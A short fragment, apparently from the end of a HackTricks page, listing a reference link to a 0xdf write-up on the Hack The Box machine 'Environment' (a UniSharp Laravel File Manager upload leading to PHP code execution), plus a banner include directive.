- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}